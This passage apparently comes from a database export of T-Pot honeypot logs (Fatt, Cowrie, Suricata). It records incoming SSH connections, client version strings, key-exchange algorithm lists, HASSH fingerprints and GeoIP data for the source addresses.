"2021-09-20T11:07:09.144897Z", "@timestamp": "2021-09-20T11:07:09.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22580	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:08.43266+03	2021-09-20 14:15:06.3945+03	{"_id": "ZQbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46434, "timestamp": "2021-09-20T11:07:08.432660", "@timestamp": "2021-09-20T11:07:08.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22581	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:08.807105+03	2021-09-20 14:15:06.396499+03	{"_id": "WgbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46752, "timestamp": "2021-09-20T11:07:08.807105", "@timestamp": "2021-09-20T11:07:08.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22582	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:08.822747+03	2021-09-20 14:15:06.397501+03	{"_id": "cgbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37728, "timestamp": "2021-09-20T11:07:08.822747", "@timestamp": "2021-09-20T11:07:08.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22583	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:08.881955+03	2021-09-20 14:15:06.398472+03	{"_id": "cwbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51458, "timestamp": "2021-09-20T11:07:08.881955", "@timestamp": "2021-09-20T11:07:08.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22584	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:08.602914+03	2021-09-20 14:15:06.399505+03	{"_id": "XgbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "41c8f72263d6", "@version": "1", "timestamp": "2021-09-20T11:07:08.602914Z", "@timestamp": "2021-09-20T11:07:08.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22585	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:07:08.86933+03	2021-09-20 14:15:06.401472+03	{"_id": "YQbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "824890bfdffa", "@version": "1", "timestamp": "2021-09-20T11:07:08.869330Z", "@timestamp": "2021-09-20T11:07:08.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22586	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:09.128122+03	2021-09-20 14:15:06.40247+03	{"_id": "YwbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "20b7e85ff2d9", "@version": "1", "timestamp": "2021-09-20T11:07:09.128122Z", "@timestamp": "2021-09-20T11:07:09.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22587	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:09.158094+03	2021-09-20 14:15:06.404471+03	{"_id": "aQbjAnwBvYTbRNuEZAfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "31664c5d17b2", "@version": "1", "timestamp": "2021-09-20T11:07:09.158094Z", "@timestamp": "2021-09-20T11:07:09.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22588	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:09.076812+03	2021-09-20 14:15:06.405501+03	{"_id": "kAbjAnwBvYTbRNuEZwdQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 35433133905577, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46752, "dest_port": 22, "timestamp": "2021-09-20T11:07:09.076812Z", "@timestamp": "2021-09-20T11:07:09.076Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22668	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.100651+03	2021-09-20 14:15:06.5085+03	{"_id": "9AbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6ad6a154165c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:21.100651Z", "@timestamp": "2021-09-20T11:07:21.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
